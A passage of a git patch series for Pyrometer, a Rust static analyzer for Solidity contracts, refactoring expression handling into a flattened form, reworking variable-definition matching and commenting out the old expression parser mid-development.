analyzer.set_expr_flag(ExprFlag::FunctionName(n)); + Ok(()) + } + FunctionCall(loc, n) => { + let func_and_inputs = ctx + .pop_n_latest_exprs(n + 1, loc, analyzer) + .into_expr_err(loc)?; + + let func = ContextVarNode::from( + func_and_inputs + .first() + .unwrap() + .expect_single() + .into_expr_err(loc)?, + ); + let inputs = ExprRet::Multi(if n > 0 { + func_and_inputs[1..].to_vec() + } else { + vec![] + }); + + let ty = func.ty(analyzer).into_expr_err(loc)?; + if let Some(func_node) = ty.func_node(analyzer) { + analyzer.func_call(arena, ctx, loc, &inputs, func_node, None, None) + } else { + Ok(()) + } + } + other => { + tracing::trace!("unhandled: {other:?}"); + Ok(()) + } + }, + ); + + self.add_if_err(res); + } + } +} + +fn into_sized(v: Vec) -> [T; N] { + v.try_into() + .unwrap_or_else(|v: Vec| panic!("Expected a Vec of length {} but it was {}", N, v.len())) +} diff --git a/crates/solc-expressions/src/context_builder/mod.rs b/crates/solc-expressions/src/context_builder/mod.rs index 9b40e224..bccb7f43 100644 --- a/crates/solc-expressions/src/context_builder/mod.rs +++ b/crates/solc-expressions/src/context_builder/mod.rs @@ -14,11 +14,13 @@ impl ContextBuilder for T where } mod expr; +mod flattened; mod fn_calls; mod stmt; mod test_command_runner; pub use expr::*; +pub use flattened::*; pub use fn_calls::*; pub use stmt::*; pub use test_command_runner::*; diff --git a/crates/solc-expressions/src/context_builder/stmt.rs b/crates/solc-expressions/src/context_builder/stmt.rs index 143e31c2..532210ff 100644 --- a/crates/solc-expressions/src/context_builder/stmt.rs +++ b/crates/solc-expressions/src/context_builder/stmt.rs @@ -389,7 +389,13 @@ pub trait StatementParser: analyzer.match_var_def( arena, ctx, - var_decl, + ( + var_decl + .name + .as_ref() + .map(|n| n.name.clone()), + var_decl.storage.clone().map(Into::into), + ), loc, &lhs_paths, Some(&rhs_paths), @@ -435,7 +441,17 @@ pub trait StatementParser: ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; return Ok(()); } - analyzer.match_var_def(arena, ctx, var_decl, loc, &lhs_paths, None)?; + analyzer.match_var_def( + arena, + ctx, + ( + var_decl.name.as_ref().map(|n| n.name.clone()), + var_decl.storage.clone().map(Into::into), + ), + loc, + &lhs_paths, + None, + )?; Ok(()) }); let _ = self.widen_if_limit_hit(ctx, res); diff --git a/crates/solc-expressions/src/func_call/apply.rs b/crates/solc-expressions/src/func_call/apply.rs index a191e609..e6858255 100644 --- a/crates/solc-expressions/src/func_call/apply.rs +++ b/crates/solc-expressions/src/func_call/apply.rs @@ -1,7 +1,8 @@ -use crate::context_builder::StatementParser; use crate::helper::CallerHelper; use crate::member_access::ListAccess; use crate::variable::Variable; +use crate::Flatten; +use solang_parser::helpers::CodeLocation; use graph::{ elem::{Elem, RangeElem, RangeExpr, RangeOp}, @@ -69,7 +70,9 @@ pub trait FuncApplier: ); let edges = apply_ctx.successful_edges(self).into_expr_err(loc)?; match edges.len() { - 0 => {} + 0 => { + ctx.kill(self, loc, KilledKind::Revert).into_expr_err(loc)?; + } 1 => { if !self.apply_pure( arena, @@ -153,7 +156,8 @@ pub trait FuncApplier: self.handled_funcs_mut().push(func); if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.parse_ctx_statement(arena, body, false, Some(func)); + self.traverse_statement(&body); + self.interpret(func, body.loc(), arena) } seen.push(func); @@ -201,7 +205,8 @@ pub trait FuncApplier: self.handled_funcs_mut().push(func); if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.parse_ctx_statement(arena, body, false, Some(func)); + self.traverse_statement(&body); + self.interpret(func, body.loc(), arena) } seen.push(func); @@ -248,7 +253,8 @@ pub trait FuncApplier: self.handled_funcs_mut().push(func); if let Some(body) = &func.underlying(self).unwrap().body.clone() { - self.parse_ctx_statement(arena, body, false, Some(func)); + self.traverse_statement(&body); + self.interpret(func, body.loc(), arena) } seen.push(func); @@ -271,8 +277,26 @@ pub trait FuncApplier: target_ctx: ContextNode, forks: bool, ) -> Result { - let replacement_map = - self.basic_inputs_replacement_map(arena, apply_ctx, loc, params, func_inputs)?; + // construct remappings for inputs + // if applying func a(uint x), map will be = resulting_edge .return_nodes(self) @@ -456,6 +480,7 @@ pub trait FuncApplier: &mut self, arena: &mut RangeArena>, apply_ctx: ContextNode, + target_ctx: ContextNode, loc: Loc, params: &[FunctionParamNode], func_inputs: &[ContextVarNode], @@ -486,6 +511,13 @@ pub trait FuncApplier: let replacement = ContextVarNode::from(self.add_node(Node::ContextVar(new_cvar))); + self.add_edge( + replacement, + target_ctx, + Edge::Context(ContextEdge::Variable), + ); + target_ctx.add_var(replacement, self); + if let Some(param_ty) = VarType::try_from_idx(self, param.ty(self).unwrap()) { if !replacement.ty_eq_ty(¶m_ty, self).into_expr_err(loc)? { replacement diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index 248de5c5..09d0a0ac 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -1,9 +1,12 @@ //! Traits & blanket implementations that facilitate performing various forms of function calls. use crate::{ - func_call::apply::FuncApplier, func_call::modifier::ModifierCaller, helper::CallerHelper, - internal_call::InternalFuncCaller, intrinsic_call::IntrinsicFuncCaller, - namespaced_call::NameSpaceFuncCaller, ContextBuilder, ExpressionParser, StatementParser, + func_call::{apply::FuncApplier, modifier::ModifierCaller}, + helper::CallerHelper, + internal_call::InternalFuncCaller, + intrinsic_call::IntrinsicFuncCaller, + namespaced_call::NameSpaceFuncCaller, + ContextBuilder, ExpressionParser, StatementParser, }; use std::cell::RefCell; use std::rc::Rc; @@ -176,7 +179,7 @@ impl<'a> NamedOrUnnamedArgs<'a> { } impl FuncCaller for T where - T: AnalyzerBackend + Sized + GraphBackend + CallerHelper + T: AnalyzerBackend + Sized + GraphBackend { } /// A trait for calling a function diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index d969f3fb..1bc7d8c2 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -8,10 +8,10 @@ use crate::{ use graph::{ elem::Elem, - nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet}, + nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, FunctionNode}, AnalyzerBackend, ContextEdge, Edge, GraphBackend, Node, VarType, }; -use shared::{ExprErr, IntoExprErr, RangeArena}; +use shared::{ExprErr, GraphError, IntoExprErr, RangeArena}; use solang_parser::pt::{Expression, Identifier, Loc, NamedArgument}; @@ -188,6 +188,66 @@ pub trait InternalFuncCaller: } } + fn find_func( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + name: String, + num_inputs: usize, + ) -> Result, GraphError> { + let funcs = ctx.visible_funcs(self)?; + let possible_funcs = funcs + .iter() + .filter(|func| func.name(self).unwrap().starts_with(&format!("{name}("))) + .filter(|func| { + // filter by params + func.params(self).len() == num_inputs + }) + .copied() + .collect::>(); + + match possible_funcs.len() { + 0 => Ok(None), + 1 => Ok(Some(possible_funcs[0])), + _ => { + let stack = &ctx.underlying(self)?.expr_ret_stack; + let len = stack.len(); + let inputs = &stack[len - num_inputs - 1..]; + let resizeables: Vec<_> = inputs + .iter() + .map(|input| input.expect_single().ok()) + .map(|idx| { + let Some(idx) = idx else { + return false; + }; + match VarType::try_from_idx(self, idx) { + Some(VarType::BuiltIn(bn, _)) => { + matches!( + self.node(bn), + Node::Builtin(Builtin::Uint(_)) + | Node::Builtin(Builtin::Int(_)) + | Node::Builtin(Builtin::Bytes(_)) + ) + } + Some(VarType::Concrete(c)) => { + matches!( + self.node(c), + Node::Concrete(Concrete::Uint(_, _)) + | Node::Concrete(Concrete::Int(_, _)) + | Node::Concrete(Concrete::Bytes(_, _)) + ) + } + _ => false, + } + }) + .collect(); + + let inputs = ExprRet::Multi(inputs.to_vec()); + Ok(self.disambiguate_fn_call(arena, &name, resizeables, &inputs, &possible_funcs)) + } + } + } + #[tracing::instrument(level = "trace", skip_all)] fn call_internal_func( &mut self, diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index d27a5e1f..7fb723ae 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -314,7 +314,10 @@ pub trait Variable: AnalyzerBackend + Size &mut self, arena: &mut RangeArena>, ctx: ContextNode, - var_decl: &VariableDeclaration, + (name, storage): ( + Option, + Option, + ), loc: Loc, lhs_paths: &ExprRet, rhs_paths: Option<&ExprRet>, @@ -333,20 +336,20 @@ pub trait Variable: AnalyzerBackend + Size self.match_var_def( arena, ctx, - var_decl, + (name, storage), loc, lhs_paths, Some(&ExprRet::Single(rhs_cvar.into())), ) } (ExprRet::Single(ty), Some(ExprRet::Single(rhs))) => { - let name = var_decl.name.clone().expect("Variable wasn't named"); + let name = name.clone().expect("Variable wasn't named"); let ty = VarType::try_from_idx(self, *ty).expect("Not a known type"); let var = ContextVar { loc: Some(loc), name: name.to_string(), display_name: name.to_string(), - storage: var_decl.storage.as_ref().map(|s| s.clone().into()), + storage: storage.as_ref().map(|s| s.clone().into()), is_tmp: false, is_symbolic: true, tmp_of: None, @@ -374,14 +377,14 @@ pub trait Variable: AnalyzerBackend + Size Ok(false) } (ExprRet::Single(ty), None) => { - let name = var_decl.name.clone().expect("Variable wasn't named"); + let name = name.clone().expect("Variable wasn't named"); let ty = VarType::try_from_idx(self, *ty).expect("Not a known type"); let maybe_struct = ty.maybe_struct(); let var = ContextVar { loc: Some(loc), name: name.to_string(), display_name: name.to_string(), - storage: var_decl.storage.as_ref().map(|s| s.clone().into()), + storage: storage.as_ref().map(|s| s.clone().into()), is_tmp: false, is_symbolic: true, tmp_of: None, @@ -401,19 +404,25 @@ pub trait Variable: AnalyzerBackend + Size } (l @ ExprRet::Single(_lhs), Some(ExprRet::Multi(rhs_sides))) => Ok(rhs_sides .iter() - .map(|expr_ret| self.match_var_def(arena, ctx, var_decl, loc, l, Some(expr_ret))) + .map(|expr_ret| { + self.match_var_def(arena, ctx, (name.clone(), storage), loc, l, Some(expr_ret)) + }) .collect::, ExprErr>>()? .iter() .all(|e| *e)), (ExprRet::Multi(lhs_sides), r @ Some(ExprRet::Single(_))) => Ok(lhs_sides .iter() - .map(|expr_ret| self.match_var_def(arena, ctx, var_decl, loc, expr_ret, r)) + .map(|expr_ret| { + self.match_var_def(arena, ctx, (name.clone(), storage), loc, expr_ret, r) + }) .collect::, ExprErr>>()? .iter() .all(|e| *e)), (ExprRet::Multi(lhs_sides), None) => Ok(lhs_sides .iter() - .map(|expr_ret| self.match_var_def(arena, ctx, var_decl, loc, expr_ret, None)) + .map(|expr_ret| { + self.match_var_def(arena, ctx, (name.clone(), storage), loc, expr_ret, None) + }) .collect::, ExprErr>>()? .iter() .all(|e| *e)), @@ -427,7 +436,7 @@ pub trait Variable: AnalyzerBackend + Size self.match_var_def( arena, ctx, - var_decl, + (name.clone(), storage), loc, lhs_expr_ret, Some(rhs_expr_ret), @@ -443,7 +452,7 @@ pub trait Variable: AnalyzerBackend + Size self.match_var_def( arena, ctx, - var_decl, + (name.clone(), storage), loc, lhs_paths, Some(rhs_expr_ret), @@ -454,10 +463,13 @@ pub trait Variable: AnalyzerBackend + Size .all(|e| *e)) } } - (_e, _f) => Err(ExprErr::Todo( - loc, - "Unhandled ExprRet combination in `match_var_def`".to_string(), - )), + (e, f) => { + println!("{e:?}, {f:?}"); + Err(ExprErr::Todo( + loc, + "Unhandled ExprRet combination in `match_var_def`".to_string(), + )) + } } } From 8439b9f5952eda5b4d98ae15b90c0bab4a6601f2 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 15 Jul 2024 13:05:52 -0700 Subject: [PATCH 02/52] some more working exprs --- .../graph/src/nodes/context/var/underlying.rs | 4 + crates/pyrometer/src/analyzer_backend.rs | 5 + crates/shared/src/flattened.rs | 4 +- crates/solc-expressions/src/array.rs | 20 +- .../src/context_builder/expr.rs | 695 +++++++++--------- .../src/context_builder/flattened.rs | 456 ++++++++---- .../src/context_builder/mod.rs | 10 +- .../func_call/intrinsic_call/constructors.rs | 140 ++-- .../intrinsic_call/intrinsic_caller.rs | 202 ++--- crates/solc-expressions/src/list.rs | 6 +- crates/solc-expressions/src/literal.rs | 39 +- .../solc-expressions/src/yul/yul_builder.rs | 141 ++-- 12 files changed, 966 insertions(+), 756 deletions(-) diff --git a/crates/graph/src/nodes/context/var/underlying.rs b/crates/graph/src/nodes/context/var/underlying.rs index fe4b311e..924bcd9f 100644 --- a/crates/graph/src/nodes/context/var/underlying.rs +++ b/crates/graph/src/nodes/context/var/underlying.rs @@ -510,6 +510,10 @@ impl ContextVar { let name = e.name.clone().expect("Enum had no name").name; (name, None) } + Node::Builtin(bn) => { + let name = bn.as_string(analyzer).ok()?; + (name, None) + } Node::Var(var) => { let name = var.name.clone().expect("Variable had no name").name; let storage = if var.in_contract { diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index eded1288..9c0a5255 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -573,6 +573,11 @@ impl AnalyzerLike for Analyzer { } fn set_expr_flag(&mut self, flag: ExprFlag) { + debug_assert!( + self.expr_flag.is_none(), + "overwrote expr_flag: new: {flag:?}, old: {:?}", + self.expr_flag + ); self.expr_flag = Some(flag) } diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 49808fef..165a46bb 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -5,6 +5,9 @@ use solang_parser::pt::{Expression, Loc, Statement, Type}; #[derive(Debug, Clone, Copy)] pub enum ExprFlag { FunctionName(usize), + New, + Negate, + Skip, } #[derive(Debug, Clone, Copy)] @@ -92,7 +95,6 @@ pub enum FlatExpr { HexLiteral(Loc, &'static str), AddressLiteral(Loc, &'static str), Variable(Loc, &'static str), - FuncToCall(Loc, &'static str), ArrayLiteral(Loc), } diff --git a/crates/solc-expressions/src/array.rs b/crates/solc-expressions/src/array.rs index 017e96ec..180ee437 100644 --- a/crates/solc-expressions/src/array.rs +++ b/crates/solc-expressions/src/array.rs @@ -30,7 +30,7 @@ pub trait Array: AnalyzerBackend + Sized { ctx.push_expr(ret, analyzer).into_expr_err(loc)?; return Ok(()); } - analyzer.match_ty(ctx, ty_expr, ret) + analyzer.match_ty(ctx, ty_expr.loc(), ret) } else { Err(ExprErr::NoLhs( loc, @@ -40,40 +40,34 @@ pub trait Array: AnalyzerBackend + Sized { }) } - fn match_ty( - &mut self, - ctx: ContextNode, - ty_expr: &Expression, - ret: ExprRet, - ) -> Result<(), ExprErr> { + fn match_ty(&mut self, ctx: ContextNode, loc: Loc, ret: ExprRet) -> Result<(), ExprErr> { match ret { ExprRet::Single(inner_ty) | ExprRet::SingleLiteral(inner_ty) => { if let Some(var_type) = VarType::try_from_idx(self, inner_ty) { let dyn_b = Builtin::Array(var_type); if let Some(idx) = self.builtins().get(&dyn_b) { ctx.push_expr(ExprRet::Single(*idx), self) - .into_expr_err(ty_expr.loc())?; + .into_expr_err(loc)?; } else { let idx = self.add_node(Node::Builtin(dyn_b.clone())); self.builtins_mut().insert(dyn_b, idx); ctx.push_expr(ExprRet::Single(idx), self) - .into_expr_err(ty_expr.loc())?; + .into_expr_err(loc)?; } Ok(()) } else { - Err(ExprErr::ArrayTy(ty_expr.loc(), "Expected to be able to convert to a var type from an index to determine array type. This is a bug. Please report it at github.com/nascentxyz/pyrometer.".to_string())) + Err(ExprErr::ArrayTy(loc, "Expected to be able to convert to a var type from an index to determine array type. This is a bug. Please report it at github.com/nascentxyz/pyrometer.".to_string())) } } ExprRet::Multi(inner) => { inner .into_iter() - .map(|i| self.match_ty(ctx, ty_expr, i)) + .map(|i| self.match_ty(ctx, loc, i)) .collect::, ExprErr>>()?; Ok(()) } ExprRet::CtxKilled(kind) => { - ctx.kill(self, ty_expr.loc(), kind) - .into_expr_err(ty_expr.loc())?; + ctx.kill(self, loc, kind).into_expr_err(loc)?; Ok(()) } ExprRet::Null => Ok(()), diff --git a/crates/solc-expressions/src/context_builder/expr.rs b/crates/solc-expressions/src/context_builder/expr.rs index e86e5cdf..1afed42f 100644 --- a/crates/solc-expressions/src/context_builder/expr.rs +++ b/crates/solc-expressions/src/context_builder/expr.rs @@ -91,371 +91,372 @@ pub trait ExpressionParser: // .collect::>(), // expr // ); - match expr { - // literals - NumberLiteral(loc, int, exp, unit) => { - self.number_literal(ctx, *loc, int, exp, false, unit) - } - AddressLiteral(loc, addr) => self.address_literal(ctx, *loc, addr), - StringLiteral(lits) => lits - .iter() - .try_for_each(|lit| self.string_literal(ctx, lit.loc, &lit.string)), - BoolLiteral(loc, b) => self.bool_literal(ctx, *loc, *b), - HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, false), - HexLiteral(hexes) => self.hex_literals(ctx, hexes), - RationalNumberLiteral(loc, integer, fraction, exp, unit) => { - self.rational_number_literal(arena, ctx, *loc, integer, fraction, exp, unit, false) - } - Negate(_loc, expr) => match &**expr { - NumberLiteral(loc, int, exp, unit) => { - self.number_literal(ctx, *loc, int, exp, true, unit) - } - HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, true), - RationalNumberLiteral(loc, integer, fraction, exp, unit) => self - .rational_number_literal(arena, ctx, *loc, integer, fraction, exp, unit, true), - e => { - self.parse_ctx_expr(arena, e, ctx)?; - self.apply_to_edges(ctx, e.loc(), arena, &|analyzer, arena, ctx, loc| { - tracing::trace!("Negate variable pop"); - let Some(rhs_paths) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "No variable present to negate".to_string(), - )); - }; - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } + panic!("here"); + // match expr { + // // literals + // NumberLiteral(loc, int, exp, unit) => { + // self.number_literal(ctx, *loc, int, exp, false, unit) + // } + // AddressLiteral(loc, addr) => self.address_literal(ctx, *loc, addr), + // StringLiteral(lits) => lits + // .iter() + // .try_for_each(|lit| self.string_literal(ctx, lit.loc, &lit.string)), + // BoolLiteral(loc, b) => self.bool_literal(ctx, *loc, *b), + // HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, false), + // HexLiteral(hexes) => todo!(), + // RationalNumberLiteral(loc, integer, fraction, exp, unit) => { + // self.rational_number_literal(arena, ctx, *loc, integer, fraction, exp, unit, false) + // } + // Negate(_loc, expr) => match &**expr { + // NumberLiteral(loc, int, exp, unit) => { + // self.number_literal(ctx, *loc, int, exp, true, unit) + // } + // HexNumberLiteral(loc, b, _unit) => self.hex_num_literal(ctx, *loc, b, true), + // RationalNumberLiteral(loc, integer, fraction, exp, unit) => self + // .rational_number_literal(arena, ctx, *loc, integer, fraction, exp, unit, true), + // e => { + // self.parse_ctx_expr(arena, e, ctx)?; + // self.apply_to_edges(ctx, e.loc(), arena, &|analyzer, arena, ctx, loc| { + // tracing::trace!("Negate variable pop"); + // let Some(rhs_paths) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "No variable present to negate".to_string(), + // )); + // }; + // if matches!(rhs_paths, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } - // Solidity is dumb and used to allow negation of unsigned integers. - // That means we have to cast this as a int256. - let var = rhs_paths.expect_single().into_expr_err(loc)?; + // // Solidity is dumb and used to allow negation of unsigned integers. + // // That means we have to cast this as a int256. + // let var = rhs_paths.expect_single().into_expr_err(loc)?; - let zero = - analyzer.add_node(Node::Concrete(Concrete::from(I256::from(0i32)))); - let zero = ContextVar::new_from_concrete( - Loc::Implicit, - ctx, - zero.into(), - analyzer, - ) - .into_expr_err(loc)?; - let zero = analyzer.add_node(Node::ContextVar(zero)); - let new_underlying = ContextVarNode::from(var) - .underlying(analyzer) - .into_expr_err(loc)? - .clone() - .as_cast_tmp(loc, ctx, Builtin::Int(256), analyzer) - .into_expr_err(loc)?; - let node = analyzer.add_node(Node::ContextVar(new_underlying)); - ctx.add_var(node.into(), analyzer).into_expr_err(loc)?; - analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + // let zero = + // analyzer.add_node(Node::Concrete(Concrete::from(I256::from(0i32)))); + // let zero = ContextVar::new_from_concrete( + // Loc::Implicit, + // ctx, + // zero.into(), + // analyzer, + // ) + // .into_expr_err(loc)?; + // let zero = analyzer.add_node(Node::ContextVar(zero)); + // let new_underlying = ContextVarNode::from(var) + // .underlying(analyzer) + // .into_expr_err(loc)? + // .clone() + // .as_cast_tmp(loc, ctx, Builtin::Int(256), analyzer) + // .into_expr_err(loc)?; + // let node = analyzer.add_node(Node::ContextVar(new_underlying)); + // ctx.add_var(node.into(), analyzer).into_expr_err(loc)?; + // analyzer.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); - ContextVarNode::from(node) - .cast_from(&ContextVarNode::from(zero), analyzer, arena) - .into_expr_err(loc)?; + // ContextVarNode::from(node) + // .cast_from(&ContextVarNode::from(zero), analyzer, arena) + // .into_expr_err(loc)?; - let lhs_paths = ExprRet::Single(zero); - analyzer.op_match( - arena, - ctx, - loc, - &lhs_paths, - &ExprRet::Single( - ContextVarNode::from(node).latest_version(analyzer).into(), - ), - RangeOp::Sub(true), - false, - ) - }) - } // e => todo!("UnaryMinus unexpected rhs: {e:?}"), - }, - UnaryPlus(_loc, e) => todo!("UnaryPlus unexpected rhs: {e:?}"), + // let lhs_paths = ExprRet::Single(zero); + // analyzer.op_match( + // arena, + // ctx, + // loc, + // &lhs_paths, + // &ExprRet::Single( + // ContextVarNode::from(node).latest_version(analyzer).into(), + // ), + // RangeOp::Sub(true), + // false, + // ) + // }) + // } // e => todo!("UnaryMinus unexpected rhs: {e:?}"), + // }, + // UnaryPlus(_loc, e) => todo!("UnaryPlus unexpected rhs: {e:?}"), - // Binary ops - Power(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Exp, false) - } - Add(loc, lhs_expr, rhs_expr) => self.op_expr( - arena, - *loc, - lhs_expr, - rhs_expr, - ctx, - RangeOp::Add(ctx.unchecked(self).into_expr_err(*loc)?), - false, - ), - AssignAdd(loc, lhs_expr, rhs_expr) => self.op_expr( - arena, - *loc, - lhs_expr, - rhs_expr, - ctx, - RangeOp::Add(ctx.unchecked(self).into_expr_err(*loc)?), - true, - ), - Subtract(loc, lhs_expr, rhs_expr) => self.op_expr( - arena, - *loc, - lhs_expr, - rhs_expr, - ctx, - RangeOp::Sub(ctx.unchecked(self).into_expr_err(*loc)?), - false, - ), - AssignSubtract(loc, lhs_expr, rhs_expr) => self.op_expr( - arena, - *loc, - lhs_expr, - rhs_expr, - ctx, - RangeOp::Sub(ctx.unchecked(self).into_expr_err(*loc)?), - true, - ), - Multiply(loc, lhs_expr, rhs_expr) => self.op_expr( - arena, - *loc, - lhs_expr, - rhs_expr, - ctx, - RangeOp::Mul(ctx.unchecked(self).into_expr_err(*loc)?), - false, - ), - AssignMultiply(loc, lhs_expr, rhs_expr) => self.op_expr( - arena, - *loc, - lhs_expr, - rhs_expr, - ctx, - RangeOp::Mul(ctx.unchecked(self).into_expr_err(*loc)?), - true, - ), - Divide(loc, lhs_expr, rhs_expr) => self.op_expr( - arena, - *loc, - lhs_expr, - rhs_expr, - ctx, - RangeOp::Div(false), - false, - ), - AssignDivide(loc, lhs_expr, rhs_expr) => self.op_expr( - arena, - *loc, - lhs_expr, - rhs_expr, - ctx, - RangeOp::Div(false), - true, - ), - Modulo(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Mod, false) - } - AssignModulo(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Mod, true) - } - ShiftLeft(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shl, false) - } - AssignShiftLeft(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shl, true) - } - ShiftRight(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shr, false) - } - AssignShiftRight(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shr, true) - } - ConditionalOperator(loc, if_expr, true_expr, false_expr) => { - self.cond_op_expr(arena, *loc, if_expr, true_expr, false_expr, ctx) - } + // // Binary ops + // Power(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Exp, false) + // } + // Add(loc, lhs_expr, rhs_expr) => self.op_expr( + // arena, + // *loc, + // lhs_expr, + // rhs_expr, + // ctx, + // RangeOp::Add(ctx.unchecked(self).into_expr_err(*loc)?), + // false, + // ), + // AssignAdd(loc, lhs_expr, rhs_expr) => self.op_expr( + // arena, + // *loc, + // lhs_expr, + // rhs_expr, + // ctx, + // RangeOp::Add(ctx.unchecked(self).into_expr_err(*loc)?), + // true, + // ), + // Subtract(loc, lhs_expr, rhs_expr) => self.op_expr( + // arena, + // *loc, + // lhs_expr, + // rhs_expr, + // ctx, + // RangeOp::Sub(ctx.unchecked(self).into_expr_err(*loc)?), + // false, + // ), + // AssignSubtract(loc, lhs_expr, rhs_expr) => self.op_expr( + // arena, + // *loc, + // lhs_expr, + // rhs_expr, + // ctx, + // RangeOp::Sub(ctx.unchecked(self).into_expr_err(*loc)?), + // true, + // ), + // Multiply(loc, lhs_expr, rhs_expr) => self.op_expr( + // arena, + // *loc, + // lhs_expr, + // rhs_expr, + // ctx, + // RangeOp::Mul(ctx.unchecked(self).into_expr_err(*loc)?), + // false, + // ), + // AssignMultiply(loc, lhs_expr, rhs_expr) => self.op_expr( + // arena, + // *loc, + // lhs_expr, + // rhs_expr, + // ctx, + // RangeOp::Mul(ctx.unchecked(self).into_expr_err(*loc)?), + // true, + // ), + // Divide(loc, lhs_expr, rhs_expr) => self.op_expr( + // arena, + // *loc, + // lhs_expr, + // rhs_expr, + // ctx, + // RangeOp::Div(false), + // false, + // ), + // AssignDivide(loc, lhs_expr, rhs_expr) => self.op_expr( + // arena, + // *loc, + // lhs_expr, + // rhs_expr, + // ctx, + // RangeOp::Div(false), + // true, + // ), + // Modulo(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Mod, false) + // } + // AssignModulo(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Mod, true) + // } + // ShiftLeft(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shl, false) + // } + // AssignShiftLeft(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shl, true) + // } + // ShiftRight(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shr, false) + // } + // AssignShiftRight(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::Shr, true) + // } + // ConditionalOperator(loc, if_expr, true_expr, false_expr) => { + // self.cond_op_expr(arena, *loc, if_expr, true_expr, false_expr, ctx) + // } - // Bitwise ops - BitwiseAnd(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitAnd, false) - } - AssignAnd(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitAnd, true) - } - BitwiseXor(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitXor, false) - } - AssignXor(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitXor, true) - } - BitwiseOr(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitOr, false) - } - AssignOr(loc, lhs_expr, rhs_expr) => { - self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitOr, true) - } - BitwiseNot(loc, lhs_expr) => self.bit_not(arena, *loc, lhs_expr, ctx), + // // Bitwise ops + // BitwiseAnd(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitAnd, false) + // } + // AssignAnd(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitAnd, true) + // } + // BitwiseXor(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitXor, false) + // } + // AssignXor(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitXor, true) + // } + // BitwiseOr(loc, lhs_expr, rhs_expr) => { + // self.op_expr(arena, *loc, lhs_expr, rhs_expr, ctx, RangeOp::BitOr, false) + // } + // AssignOr(loc, lhs_expr, 